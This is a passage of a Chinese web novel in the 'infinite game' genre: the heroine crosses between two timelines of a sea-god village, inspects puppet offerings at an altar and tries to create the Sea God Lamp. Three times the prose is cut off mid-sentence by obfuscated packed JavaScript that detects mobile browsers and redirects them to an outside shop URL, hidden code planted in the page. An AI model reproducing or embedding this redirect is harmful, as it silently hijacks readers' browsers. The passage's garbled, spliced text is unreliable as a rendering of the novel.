“我的绣工粗糙,做出来的东西也简陋,还好大人您不嫌弃。” “谢谢,很舒服。幸亏有你安排,不然我恐怕都不知道穿什么了。” 宁汐柔笑了下,看上去颇有兴致地问他: “你的绣工很好啊,这上面的花纹一点也不刺人。说起来,巫女还要自己做衣服吗?我以为你们都要一直忙着侍奉海神呢。” “我对海神大人的虔诚之心,当然是比什么都重要的!” 海陵连忙解释道,又说: “平时的衣服,确实都是村子里专门的裁缝在做。只是,给您的这件是不一样的,它是神圣的,所以我要自己来才行。” 他五官秀美,声音轻柔,举手投足之间活脱脱就是个年轻女孩的样子。 哪怕宁汐柔当众指认他是个男子,恐怕旁人也是不会相信的。 “原来如此,看来我很幸运,能穿上这件衣服。” 宁汐柔回答。 “不,是我的荣幸。” 海陵垂下眼,睫毛颤动了几下,唇边溢出来一个笑来,散落的黑发遮住他的脸颊,是一种不带侵略性的,纯然的静美。 “原本该让您好好休息的,只是有件事,不得不打扰您。” 他叹了口气,面上似有愧色。 “村长听说大人您来到了海神村,希望能带您去看看,我们村子里的祭台。” 村长,祭台? 宁汐柔想起自己最开始载入这个副本的时候,不是十年前的海神村,而是在十年后的海村。 那时候,她目不能视,被带到了祭台上,为三日后的祭典挑选祭品。 十年前,十年后。 海神村,海村。 一切改变中,只有祭典不变。 “是该去看,我们几个使者都一起去吗?” 宁汐柔问。 “海风寒冷,另外几位使者似乎病了。” 海陵微笑。 “好,那就只有我去。” 宁汐柔并不意外。 “能麻烦巫女稍等片刻吗?” “当然。” 海陵识趣地后退半步。 宁汐柔转过身,对着池隨冬伸出手。 池隨冬一头雾水地俯下来,看着宁汐柔,眼里带着疑问。 “我去祭台,你在神观里找一个东西。” 她的声音放低了。 “找什么?” 池隨冬问。 “海神灯。” 她说。 36. 海村往事(10) 祭台。 在海陵的带领下,宁汐柔来到了村子最中心的祭台处。 在路上,海陵简单说村长邀请宁汐柔前来的原因: 除了让海神使者视察祭台之外,也希望她能帮助他们,选出三日后祭典上,献给海神大人的最后一件祭品。 宁汐柔自然说可以。 入目所及,是一个方形祭台,大约六米乘六米,用青石砖搭成,水泥做粘合剂,做工十分粗狂。 台上几乎没有什么东西,只放着一张用整根木头雕刻成的椅子,木头的纹理从椅背顶端延伸下去,四角被塑造成了海浪起伏的形状,没有椅子腿的存在,而是整个 和海神村的其他东西一样,风格非常有“海”的质感。 宁汐柔一路走来,看到了这个村子的大致情况。 和她最初的印象一致,海神村是一个十分贫瘠闭塞的村落,几乎大部分人住着的都是土房子,连有瓦片的房子都少见。 如果不是村子中人的衣着,宁汐柔甚至很难相信这是一个现代背景的副本。 但海神村这样一个贫瘠的村子,居然能修起一座两进的院子做神观,能用青石砖搭起祭台。 这只能证明,村子里的所有金钱,全部被投入了他们对于海神信仰的狂热之中。 宁汐柔喜欢狂热的感情。 狂热,极致的东西,到最后往往会撕扯,燃烧,在爆裂中毁灭或被毁灭。 海神村的信仰,也会走向这个结局吗? 她在看向不远处的海岸线,在心里问。 问她,也问那个“海神”。 “这里就是祭台了。” 海陵说,他停在台阶前,等着宁汐柔走上去。 六层台阶。 她走上去,一步步数过。 在十年后的海村,宁汐柔也同样走过一段台阶,走上祭台。 她看不到祭台的样子,不知道它是比现在这个祭台更加宽阔,亦或是相反。 但她记得自己走上的台阶数。 十九级。 脚下的祭台,和她曾经登上过的那个祭台,不是同一个。 是什么让祭台变了? 是海神村在这十年间突然富裕了,想要再次修缮祭台,表现自己对于海神大人的虔诚? 还是原本祭台因为什么原因无法再使用,不得不重新修缮搭建? 海神村的名字又为什么变了? 海神村,海村,仅仅是一字之差,缺少的却是最重要的那个字。 “神”。 信仰虔诚,是因为崇拜对象的崇高。 这个“神”的消失,是意味着村子里信仰风向的变化,还是意味着他们自认为自己离“神”更近了一步? 宁汐柔压下思绪,看着祭台下的一片空荡的景色。 不是说要挑选祭品吗? 十年后的海村,在挑选祭品的时候,祭台底下可是站满了人。 “大人,这位就是海神村的村长。” 海陵落后宁汐柔半步登上祭台,看着她说。 她的视线落在站在自己对面的人身上。 村长是个中年人,很瘦,弓着腰,皮肤是常年被暴晒过后特有的干燥黝黑,在太阳底下几乎看不清楚五官的模样。 “使者大人来到我们海神村,是我们全村的荣幸。” 村长看到宁汐柔的瞬间,就热泪盈眶,声音激动: 宁汐柔在十年后的时间线中没有视力,她不知道眼前这个村长是不是就是十年后她在那个祭台上遇到的村长。 她只能尝试去辨认二者之间的声音是否有所相似。 但她一时之间找不到二者之间的相同点。 十年后的村长,声音嘶哑苍老,听上去年纪已经很大了,即使年轻十岁,估计也不会比眼前这个村长要年轻。 但是这又很奇怪,换村长,不往年轻的换,往老的换? 没有这样的道理。 “我们百年的信仰,终于得到了海神大人的回应……” 村长仰起头,看向远方的海岸线,深深一拜。 百年? 宁汐柔想起十年后的,自称池隨冬的木偶曾经说过,关于海村由来的传说。 在传说中,海村人的祖先为了躲避战乱,从远方大陆乘着小木舟在海上漂流,希望找到一个安居乐业的净土。 在海上的风暴中,他们的小木舟被打翻,他们也在剧烈的浪啸中晕了过去。 本以为那就是生命的终结,没想到他们居然再次醒来,躺在一座无人小岛上,毫发无损,连独木舟都保持着完好。 但那个故事中,最神奇的不是这里。 “当年先祖们在海神大人的庇佑下,来到了海神岛。他们不是在沙滩上醒来的,而是在小岛的中心,也就是我们现在所站着的地方,海神祭台。” 村长抬手抹掉眼角一点因为过于激动而流下的眼泪: “神船的落点,就是如今现在神观的位置。这两个位置遥遥相对,沿着他们连接起来的那条线,我们建起了海神村。” “……你们的虔诚,令海神大人动容,所以才会以海浪的使者,将我们送来这里。” 宁汐柔面不改色地扯起海神大旗。 “原来、原来是这样!” 村长的声音保持着兴奋的高昂: “一定是海神大人的恩赐,让使者们来帮助我们度过这次的瘟疫!” 瘟疫? 宁汐柔不自觉看向了祭台地下空荡的地面。 是因为这个,所以才没有其他村民来参加祭品的选择吗? “你们的瘟疫,现在发展到什么程度了?” 宁汐柔问。 在十年后池隨冬的讲述中,并没有出现瘟疫这个部分,这不应该。 他连神观里影壁雕刻了什么花纹都说了,为什么会略过“瘟疫”这个一看就十分重要的元素不提? 然而,这个问题的答案,十年前的池隨冬恐怕给不了她答案。 说起,池隨冬…… 宁汐柔忽然想起一件很重要的事,一件很重要,但是她忽略了的事情。 “从大概六七日前,就陆续有村民病倒。他们都发着高烧,一直昏睡不醒,嘴里喊着一些大不敬之语……” 村长的声音中流露出一些忧虑。 “大不敬之语?” 宁汐柔有些好奇。 人类建构起来的道德伦理花样繁多,标准也变化多端,不同的人有时候会秉持着截然相反的信条,同一句话,对于有些人而言是金玉良言,对于另一些人而言就是卑劣谗言。 她觉得这些很有意思。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14494788|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,属于海村的“大不敬之语”,会是什么? “都是些妄言,不配进您的耳朵。” 村长低下头,牵强地干笑两声,又说: “村子里没有什么药物,村医看了,都说没办法,可能是什么我们不知道的瘟疫。” “可昨天几位使者上岸之后,他们突然就好了许多,虽然还是发烧,但是从梦里清醒过来了。这都是您的功劳啊!” 说到这里,村长的声音再一次高昂亢奋了起来。 宁汐柔看了一眼一直站在自己身后的海陵,有点疑惑海村对于神职人员的选拔是不是有点问题。 不管怎么看,村长对于海神的信仰,都比海陵虔诚狂热多了。 他没当成巫女,是因为没女装,还是因为长得太普通了? “所以,村长觉得,是因为我们这些‘海神使者’的到来,村子里的瘟疫自己好了?” 宁汐柔问。 她脑海中闪过许多疑问和碎片,但总拼不成一块。 “这场瘟疫,必然是海神大人对我们的考验,所以,我们一定要拿出更好的祭品,来感谢祂的恩惠。” 村长说。 “如果使者您能够帮助我们挑选的话,那真是太好了。” “这不是问题,只是,祭品在哪里?” 宁汐柔问。 “您请看。” 村长露出一个得意的笑容,指向祭台之下。 宁汐柔转过身去。 此前空无一物的祭台下,此刻站满了“人”。 一个个用木头雕刻出来的人偶,每个都足有半人高,五官灵动,栩栩如生,他们和人类看上去没有任何区别,如果不是浅色带着木纹的肌肤,宁汐柔恐怕都会错认。 “这是……祭品?” 宁汐柔问。 “是的,这是我们的祭品,傀儡人偶。原本该有更多的,但是村子里的傀儡师家里出了点事,他整日消沉喝酒,也不再制作傀儡了。” 村长叹了口气。 “傀儡师?” 宁汐柔轻声重复了一遍这个词。 她忽然多出了一条丝线,就脑海中的碎片和疑问连接在了一起。 傀儡师。 海神村的傀儡师, 无限游戏中的傀儡师。 离秽曾经告诉过宁汐柔: 池隨冬,也是一名特殊身份卡玩家。 但也许,他的特殊身份卡,和宁汐柔认知中的,并不一样。 “是啊,他也是个苦命人,女儿还没长到十六岁就病死了,前几天,老婆也在海里……哎,可能是他的手艺太好了,海神大人希望他专心制作傀儡吧。” 村长说。 “……这些傀儡都很好,不过,海神大人喜欢什么样的傀儡,还需要我和同伴一起再看看。” 宁汐柔笑了下,转身看着海陵,声音温柔: “海陵,你能帮我将我的同伴叫过来吗?你认识的,就是和我住在一起的池使者。” 宁汐柔说着,抬起手,轻轻为海陵整理他被海风吹过的长发。 她的手指轻柔地将那一缕黑发别在他耳后,又安抚一样,拍了拍他的手臂。 在这个过程中,她的指节仿佛不经意般掠过他的脖子, 然后,碰了下那隐藏在高领之后的喉结。 37. 海村往事(11) 微凉的指节在青年掩藏在高领之下的喉结上刮过。 不重,只带着一丝痒。 随着宁汐柔的动作,海陵的后背僵直了。 他抬起头,第一次直视宁汐柔的眼睛,看见里面戏谑的笑意。 良久,海陵才又低下头,嗓音依然发紧: “是。” 池隨冬很快就过来了。 他个子高,大步走起来的时候衣角带风,在宁汐柔面前停下。 “我没有找到海神灯,神观里没有这个东西。” 他问。 “你叫我过来,想让我看什么?” 宁汐柔没说话,冲着一个方向挑了挑下巴。 池隨冬的眼神在她的脸颊上停留半响,才顺着她的视线看过去。 在离祭台不愿的地方,站着一个中年男人。 比起村长和海村的其他村民,他的皮肤要白上不少,可见不是太阳底下劳作的人。 中年男人歪歪扭扭站着,脸上是一片宿醉未醒的迷茫烦躁。 他穿着一身黑衣服,也不知道是多久没有换,布料已经皱皱巴巴,甚至有的地方破了洞,即使隔着好几米远,身上酒气依然熏人。 看上去,就是个颓废的酒鬼罢了。 “他是谁?” 池隨冬倒是没有妄下定论。 他知道宁汐柔让人把他叫过来,不可能是为了和他一起看酒鬼发疯的。 “这个村子里之前,有用傀儡人偶代替活人做祭品的传统,你看到了吗?” 宁汐柔慢悠悠地说。 “啊?” 池隨冬的视线投向台下,他回想起来,自己刚才过来时候,的确匆匆路过了许多人。 他走得急,也没注意观察,只记得台下站满了人,却很安静。 这种安静虽然诡异,但出现在海村村民身上,他也并没有觉得奇怪。 毕竟当初海陵带着一群村民在海滩上围住玩家的时候,他们也是那样的一片死寂。 所以,直到这一刻,池隨冬才看清楚了那些“人”脸上的淡淡木纹。 它们每一个,无一例外,都是木头雕刻出来的傀儡。 “……你是说,这些吗?” 池隨冬的声音依然平静,看上去很镇定。 但宁汐柔没有错过他说话时微微绷紧的颈部肌肉。 也是,不管以后会成为了多么强大的,在危机恐惧面前处变不惊的玩家榜榜首,现在的池隨冬,还不是傀儡师。 “对,这些都是。而那边那个一身酒气的人,就是这个村子的傀儡师,也是创造出这些傀儡的人。不过,因为他家里发生的一些事,他已经不再创作了。” 宁汐柔回答。 “傀儡师?” 池隨冬重复着,当最后一个字节落下时,他的眼神忽然放空了一瞬。 而一旁的宁汐柔观察着他的反应,心中一个猜想渐渐成型。 这时,那个站在不远处的傀儡师似乎也注意到了二人,将视线投注过来。 当他看到池隨冬时,忽然眼中精光暴起,连颓唐懒散的姿势也随之改变,抬脚走了过来。 他走路并不稳当,双手在衣袖里晃荡。 “你们,是谁?” 傀儡师问,声音嘶哑,仿佛被什么东西焚烧过一样。 “怎么能这么说话!这两位是海神大人的使者!” 村长走上前来,很不高兴地说: “两位使者是来挑选今年的祭品傀儡的!你得好好谢谢人家肯赏脸!” “谢什么?那些傀儡都是我一个个亲手雕刻出来的,是你们该谢我吧。” 傀儡师嘲讽地笑了两声,嘴里喷着浓厚的酒气: “当初对我千恩万谢的,恨不得要认我当爹了,村长是都忘了吗?怎么现在成了这副嘴脸。” “你!” 村长的脸色瞬间垮下来,声音冷硬: “祭典在即,你这样掉链子,我们没责怪你,已经是很宽容了!你看你现在天天闷头喝酒,浑浑噩噩的,像什么样子!” “说到底不就是因为我没用了吗?今天要是我不自己过来,你们要在祭典上用我的傀儡,都没打算告诉我一声吧?” 傀儡师高声喝骂: “你们这些人,一个个都是!我对你们有用的时候,你们就跪下给我擦鞋。现在我没用了,不能做傀儡了,你们就把我当垃圾扔了!” 村长脸色铁青,眼见着脖子上青筋暴起,是要动手的模样了。 然而因着宁汐柔二人在场,他似乎又不敢造作。 这时,傀儡师猛地抬手指着池隨冬: “你,要不要和我学做傀儡!” 什么? 池隨冬突然被指着脸,一时间还有些反应不过来。 “你要教他做傀儡?你之前不是一直不肯把自己的秘法外传吗?我送了那么多人过去给你做徒弟,你一个都不肯收。” 村长瞪大了眼睛。 “当时是当时,现在是现在。总之,你愿不愿意?” 傀儡师看着池隨冬: “只要你能学会做傀儡,以后在这个村子里,不会有任何人敢得罪你了。当然,除非以后你也倒霉得落到我这个境地。 看着眼前的场景,宁汐柔心中那条模糊的线变得越来越清晰,她几乎已经摸到答案的线头。 早在新人副本中,为了和宁汐柔合作,离秽就曾经说过,自己认识一名特殊身份卡玩家。 但她又说,她遇见过的所有特殊身份卡玩家没有一个人能通关副本,几乎所有人都死了。 只有一个人是例外。 当时这句话听着很矛盾,没有人能通关,但不是所有人都死了。 不通关不就是死吗? 但后来宁汐柔知道了,离秽并没有说错。 池隨冬没有死亡,也没有通关,他只是一直被困在自己的新人副本里。 副本没有结束,他的生死也就没有定调,他一直在一个“可能性”中,他同时拥有着通关存活的可能,和就此死去的可能。 宁汐柔不知道为什么池隨冬一直被困在副本。 但她能感受到,十年后,即使是木偶形态的池隨冬,依然强大; 十年前,仅仅只是个新人的池隨冬,就已经有着超乎寻常的潜力。 在进入副本之前,离秽已经和宁汐柔说过,池隨冬也是一名特殊身份卡玩家。 但是宁汐柔从来没有想过一件事: 池隨冬的特殊身份卡是怎么来的? 这或许也是人类常说的“灯下黑”。 宁汐柔自己的特殊身份卡是在新人副本开局时,游戏系统自动发放绑定的。 所以她自然而然的,下意识认为所有的特殊身份卡都会在尤其一开始被发放到玩家手中。 但是在《海神村之行》,也就是十年前的海村,这个副本中,所有玩家拿到的都是外来者身份卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14502560|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们共享着“船难幸存者”这个身份,现在还共享着“海神使者”这个硬扯出来的假身份。 如果是这样的话,池隨冬的身份卡,特殊在哪里? 所以这又将一切引回到了最开始的那个问题: 所有的特殊身份卡都是自动获取的吗? 不,不一定。 但池隨冬的身份卡又是从哪里来的? 不管是据离秽口中所说,还是宁汐柔自己在这个副本中不同时间线上对于池隨冬的观察,这个人都不可能无法通关副本。 他被困住的原因,就是那张特殊身份卡。 宁汐柔有种预感,解决了那张身份卡,也就解决了池隨冬的问题。 “我……?” 池隨冬转头看向宁汐柔,似乎是在征求她的意见,低声: “系统给我弹出了一个特殊任务,做吗?” “你自己选。” 宁汐柔说。 傀儡师,这三个字是海神村对于制作木偶傀儡祭品之人的称呼, 也是池隨冬在未来的游戏称号。 宁汐柔不觉得这会是巧合。 他的特殊身份卡就是这么来的吗? 那么,如果阻止了池隨冬接下这个任务,是否有可能阻止他被困在副本中的命运,将他救出去? 亦或者会将一切引入一个未知的、更加可怕的局面? 宁汐柔不知道,但她很清楚一件事。 她来到这个副本,是因为她接下了一个委托,这个委托的内容是: 拯救游戏称号为傀儡师的玩家。 而不是一个叫池隨冬的男人。 宁汐柔是因为意外触发了海神灯的支线任务,才会来到十年前,遇见当时还是新人的池隨冬。 换而言之,就是她在十年前的任务,是解决关于海神灯的支线任务,而不是什么别的。 “好,我答应。” 池隨冬没有犹豫很久,他看向傀儡师,点头。 [叮!检测到有玩家触发特殊任务!全副本通报!] [请注意!请注意!此任务为限定任务!] [检测到特殊任务进行中!副本升级!] [该副本升级为:规则类副本!] [玩家主线任务变更!] [玩家共享主线任务变更为以下内容:] [请存活至祭典结束!] [主线任务倒计时:53:49:49] 宁汐柔耳边响起一连串的游戏提示音,吵得她忍不住皱眉。 原来如此,怪不得十年前的池隨冬进入的是常规故事类副本《海神村之行》,而十年后的宁汐柔进入的是规则类副本《海村往事》。 是池隨冬的特殊任务让副本升级了。 或者说,是他那张即将得到的特殊身份卡,让副本升级了。 宁汐柔看向祭台下傀儡的方向,正午的阳光猛烈地照射着海神村中的一切。 距离玩家们被海水冲上岸,已经过去十几个小时了。 她发现自己又忽略了一件事,一件极其重要的事情: 时间。 十年前和十年后的时间,是以什么样的比例在同时流动? 宁汐柔真正的主线任务倒计时,此刻,也在转动吗? 她看向海陵,开口道: “你们的祭品不够好,海神大人想要的是另一个东西。” “祂想要一盏灯,海神灯。” 38. 海村往事(12) [规则一:海神是海神村的唯一信仰] 系统的声音在每个玩家耳边响起。 “海神灯?” 一阵短暂的沉默后,海陵出声问。 “对,这是海神大人的旨意。” 宁汐柔说。 在想明白池隨冬的特殊身份卡是怎么来的之后,宁汐柔才发现自己忽略了一个更大的问题。 可能因为是来到了十年前,又遇见了还没有成为傀儡师的池隨冬。 也可能是因为池隨冬本人的长相实在是非常符合宁汐柔的口味。 总之,她将过多的注意力在了池隨冬身上。 不知不觉中,她思考的路径也和其他玩家趋于一致: 想要完成任务,就必须探索海神村。 但其他玩家需要了解海神村,需要融入海神村的村民中,需要参加海神村的祭典,是因为他们的主线任务如此要求。 他们必须这样做才能活着离开副本。 可宁汐柔为什么要在这件事上浪费精力? 她是因为“海神灯之谜”这个支线任务才会来到十年前,她真正的主线任务,真正的任务目标,都在十年后的海村。 其实从一开始,宁汐柔该做的事情就只有一件事: 找到海神灯。 直到来到这里的第二天早上,宁汐柔才想明白了这件事。 在十年后,海神灯被悬挂在巫女的房间里。 但十年前的巫女房间内,宁汐柔四处看过了,并没有找到那盏半人高的骨灯。 所以,她让池隨冬在神观继续寻找海神灯,自己则应了海陵的邀约前往祭台,算是兵分两路。 或许那盏灯也是曾经的祭品之一? 但祭台处只有木偶傀儡,池隨冬在神观里也一无所获。 宁汐柔相信池隨冬的观察力,所以现在的可能性只有两种: 一,海神灯不在神观或者祭台,而是在某个村民手中,甚至是什么更隐秘的、宁汐柔不知道的地方。 二,海神灯,此刻还不存在。 虽然没有切实的线索可以用于佐证。 但是从规则一已知已知,海神村中,海神是唯一信仰,至高无上。 而在十年后的时间线里,宁汐柔触发的几条规则,也无时无刻不在强调巫女作为“海神代言人”的崇高地位。 在海村中,海神灯这样一个在未来重要到可以悬挂在巫女卧室的重要物品,在海神村也应该同样重要。 这样的东西会不在神观或者祭台,而在某个普通村民的家中吗? 这不合理。 至于搜寻那些宁汐柔此刻还不知道的隐秘地方…… 工作量太大了,所耗费的时间也太长了,而她需要尽快回到十年后。 “您所说的,必然是海神大人的旨意。” 海陵低下头,先是行礼,随后又问: “海神大人想要的,是怎样一盏灯呢?” 宁汐柔要来纸笔,将自己当初透过柏景垣眼睛“看”到的海神灯画了出来。 受限于记忆中的清晰度,她最后只画出来了一个简单的结构型。 说是结构,但其实更像是个小孩铅笔画。 海陵接过草图,看着上面的画面,忽然很不明显地勾起唇角。 这似乎是宁汐柔第一次看见他笑。 他长相秀美柔和,五官也精致,脸颊有点微微的肉感,但下巴又是尖的,眼睛大而亮,是顶顶讨喜的长相。 整体轮廓上,他的脸型更偏向女性化,鼻骨却高而凌厉,有种介于少女与少男之间的好看,模糊了身上的性别感。 可能是为了维持巫女的人设,海陵大部分时候都几乎没有表情,对人也惯是一副居高临下的冷淡模样。这种冷漠与他的样貌不相符合,也就让他显得没那么好看了。 如今一点笑意,唇角微扬,仿佛是整个人自黯淡中被点亮,眼波流转生辉。 “你适合笑。” 宁汐柔看着他,说了句。 “是、是吗。” 海陵低下头,难得的,居然结巴了一下,流露出一点无措来: “我会的。谢谢大人。” “这就是海神灯吗?” 村长看了一眼海陵手中的草图,神情激动: “我这就安排工匠开工,一定在祭典前赶制出来,献给海神大人!” “这样,就最好了。” 宁汐柔微笑着回答。 她决定选择可能性二,即:海神灯现在还不存在。 不是相信,是选择。 支线任务中提到的,是让她解开“海神灯之谜”,但是并没有提到,海神灯只有一盏。 作为海神使者,她说哪盏灯是海神灯, 那盏灯就一定是海神灯, 自己创造出一盏海神灯的好处还在于,它的来处,用途,形象,都由宁汐柔来决定。 至于背后的故事——一盏新灯,有什么故事? 这算不上什么高明的游戏玩法,不过是偷换概念的文字游戏。 但这个文字游戏在上一个副本中好用过,这次也会有用吗? 宁汐柔的呼吸放缓了。 [叮!恭喜玩家完成特殊支线任务:海神灯之谜] [检测到特殊通道关闭中——] [恭喜您完成特殊支线任务,奖励将在副本结束后统一发放] 成功了? 宁汐柔松了口气。 她正想说什么,忽然眼睛又传来一阵剧痛,神经被粗暴扯断一样,连眼眶骨也随之碎裂。 耳边,是系统突然卡顿的提示音。 [检测到——任务——任务失败!] [任务失败!] [任务失败!] 宁汐柔猛地睁开眼睛,额角都是因痛楚而生的冷汗。 即使不需要空气,她也依然无法自控地大口喘息着,眼前一片漆黑茫然。 她的视力又一次被剥夺了。 这是任务失败的惩罚吗? “姐姐!你去哪里了?你受伤了吗?” 一个年轻的声音在她耳边响起,带着焦急。 是柏景垣。 宁汐柔手摸到了自己躺着的地方,是巫女卧室的床,她回到了神观中。 情绪真是奇妙的东西。 她从没想过,有一天,自己会因为听到柏景垣的声音,而感到安心。 “我没事。” 宁汐柔抬手,剧透的后劲还没过去,她有些站不稳。 看来,她回到十年后的海村了。 “脸上都是冷汗,是不是眼睛又疼了?” 柏景垣立马将她的手捧在手心,让她在自己身上靠着,另一只手去擦她的额角。 “现在主线倒计时还有多久。” 宁汐柔问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507450|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >其实她可以在漆黑中调出自己的玩家版面,那上面会显示主线倒计时。 但在这份尚未消散的痛苦中,她不想“看”任何东西。 “还有53个小时,39分钟,57秒。” 柏景垣扶着她的后背,为她捋顺汗湿的头发。 果然,两个时间线中的时间流速是一致的。 宁汐柔仰起头,呼出一口气。 这意味着,她不仅没有完成特殊支线,在另一个时间线浪费了将近20个小时,还要被多挖一次眼睛! 这样的经历,让宁汐柔感到愤怒,还有一些无力。 “你回来了。” 木偶说。 他的声音和池隨冬很像,只是更年轻,情绪更加鲜明。 “嗯。” 宁汐柔回答。 说话间,她感受到自己脸颊边上垂落下去的发梢轻轻晃动了一下。 她猜,是木偶又在偷摸她的头发。 “什么回来了?姐姐,你去哪儿了?” 柏景垣问。 “十年前。” 宁汐柔倒是也没有隐瞒他的意思,回答道。 她简单说了一下自己在十年前时间线发生了什么。 主要就是海神村,祭典和瘟疫,海陵的身份变化,以及她试图“创造海神灯”但最终钻系统空子失败的经历。 至于池隨冬特殊身份卡的来源,她在自己的讲述中隐去了这一部分。 “这个副本里居然有两个时间线。” 柏景垣的表情严肃了起来: “这可不妙。” “毕竟是能困住玩家榜榜一的副本,难一点也正常。” 宁汐柔说着,按住了自己晃晃悠悠的那一缕头发,无焦点的眼睛投向木偶池隨冬的方向: “再说了,我们这里不是还有一个从十年前活到现在的外援吗?” 木偶手里的头发突然被抽走,带着木纹的脸上露出有点不舍的表情,默默收回手,将两只手乖乖放在了腿上。 在装乖,可惜宁汐柔看不见,只有柏景垣瞪了他一眼。 “我这个形态,能记住的东西有限,十年前的记忆,很多我都不记得了……” 木偶用清亮的少年音,心虚地说。 “就知道不会那么容易。不过确实,要是他有能力把问题解决,就不会需要姐姐你进副本了。” 柏景垣叹了口气,用一种“果然如此”的口气说。 算不上高明地踩了对方一脚呢。 宁汐柔忍不住笑了下。 她自觉不算品味高雅,就是喜欢看小狗汪汪叫。 故意叫,也觉得可爱。 “那你记得什么?” 宁汐柔问。 虽然不能记得所有事情,但是以池隨冬的能力,即使只能留下来一部分记忆,也必定能带来相当有价值的线索。 “……嗯。” 木偶的声音迟疑了一下。 在沉默中,宁汐柔心里缓缓升起一股不妙的预感。 “我记住的,是我们之间的记忆。” 木偶抬起头,用黑漆漆的眼睛看着宁汐柔。 有那么一瞬间,他有些庆幸宁汐柔无法将视线落在自己身上。 木偶叹了口气,在她身前趴下,将自己的脸颊放进她的手心。 “那是对我来说,比一切都重要的记忆。” 木偶说。 39. 海村往事(13) 随着木偶的话音落地,室内陷入一片寂静。 宁汐柔有点庆幸自己现在没有视力,不然她估计会忍不住翻个白眼出来。 “好,那我们之间经历过的,你还记得什么?” 她控制住自己的面部表情,问。 “我记得最开始,海边,我给你披上衣服,然后那天晚上我们……还有在祭台的时候,你突然消失了。” 木偶说到一半,声音顿了一下,又继续: “还有就是你告诉我,让我等你,你会回来。” 宁汐柔抬手,用指尖点了点柏景垣的喉结。 磨牙的声音小一点,吵到她了。 “我让你等我?” 她若有所思。 “嗯,不过我只记得这句话,至于你为什么会这么说,又是在什么时候这么说的,我都记不清了。” 木偶低下头,好像有些抱歉。 “不重要。” 宁汐柔忽然笑了,说: “还记得我刚才说的吗,在我回到这个时间线之前,系统突然报错,说任务失败了。” 投机取巧没有成功,虽然被弹回到了十年后的时间线,但宁汐柔几乎没有什么有用的收获:唯一算得上有价值的,是她知道了池隨冬的特殊身份卡是怎么来的。 但是知道了那张身份卡是怎么来的,不代表就知道了那张身份卡是怎么困住他的。 可木偶说的那句话,却告诉了宁汐柔另一个可能性的存在。 宁汐柔知道自己没有说过那句话,她也不可能那么说。 那是木偶记错了?那么大点儿的脑袋里,记忆产生一点错乱似乎也不奇怪。 “海神灯还在吗?” 宁汐柔问。 “在的,没有变过。” 柏景垣回答。 海神灯还在。 但宁汐柔在十年前并没有成功制造出海神灯。 这盏灯是怎么来的? “我还会再回去一次。” 她的声音平静下来。 对,她必定还会再回到十年前。 在下一次的时间穿越中,她会完成海神灯的任务,会让池隨冬在副本中等待着她。 这是时间线上的闭环定律。 上次穿越的契机是海神灯, 下次穿越的契机又会是什么? 还有什么东西,是横跨了十年,同时存在于海神村和海村的? 东西,宁汐柔暂且想不到。 人,她倒是想到了一个。 “大人,您找我?” 海陵走进巫女的房间,对着宁汐柔行礼。 即使知道她看不见。 此刻房间里只有宁汐柔一人,她独自坐在藤椅上,没有焦点的视线投向海陵的方向。 她没有说话。 静谧的空气在房间中蔓延,海陵强壮镇定的神色也一点点瓦解。 最终,他终于忍不住人,败下阵来。 “您不问我吗?” 他说。 “问你什么?” 宁汐柔“看”着他,脸上带着笑。 “问……在那之后,又发生了什么。” 海陵说。 “我听不懂你在说什么。” 宁汐柔眨了眨眼睛。 …… 海陵沉默了半响,叹了口气: “您真是一点都没变啊。” “你之前见过我吗?” 宁汐柔不接话,反问。 如果两个人都在卖关子,那么谈话是无法开启的。 宁汐柔知道,海陵也知道,现在更快展现出自己沟通需求的人会暴露更多弱点。 但海陵心里明白,在这场拉锯中,自己必然会失败。 因为他等得实在是太久了。 “你不好奇吗?您在十年前就离开了,那么您现在作为的这个‘巫女’,又是谁?” 他说。 宁汐柔猛地抬眼,脸上流露出来不及掩饰的一点惊讶。 她没想到海陵会以这个问题开场。 因为这是这场谈话中,最重要的问题: 海村的“巫女”,和海神村的“海神使者”宁汐柔,究竟是不是同一个人? 在穿越回来十年后,最开始,宁她已经在脑海中搭建出了一个自认为合理的逻辑链。 那个逻辑链的基础是,巫女和宁汐柔,不是同一个人。 也就是说,“巫女”,在海村时间线中,是一个游戏副本自动生成的角色,她来自海村,被选为巫女,在这个村子里有着极高的地位。 而在十年前的海神村时间线中,她也许还只是一个巫女候选人,或者没有名姓的小孩子。 另一边,玩家宁汐柔,在海神村时间线中,她是一个被系统投放进来的玩家,理论上拿着和当时其他玩家一张的外来者身份卡。 而在海村时间线上,“宁汐柔”不存在。 这是对于两个身份最简单的解释和分割。 但是从海陵问出第一句话的时候,宁汐柔就知道,自己的这个推断,或者说希望,是错的。 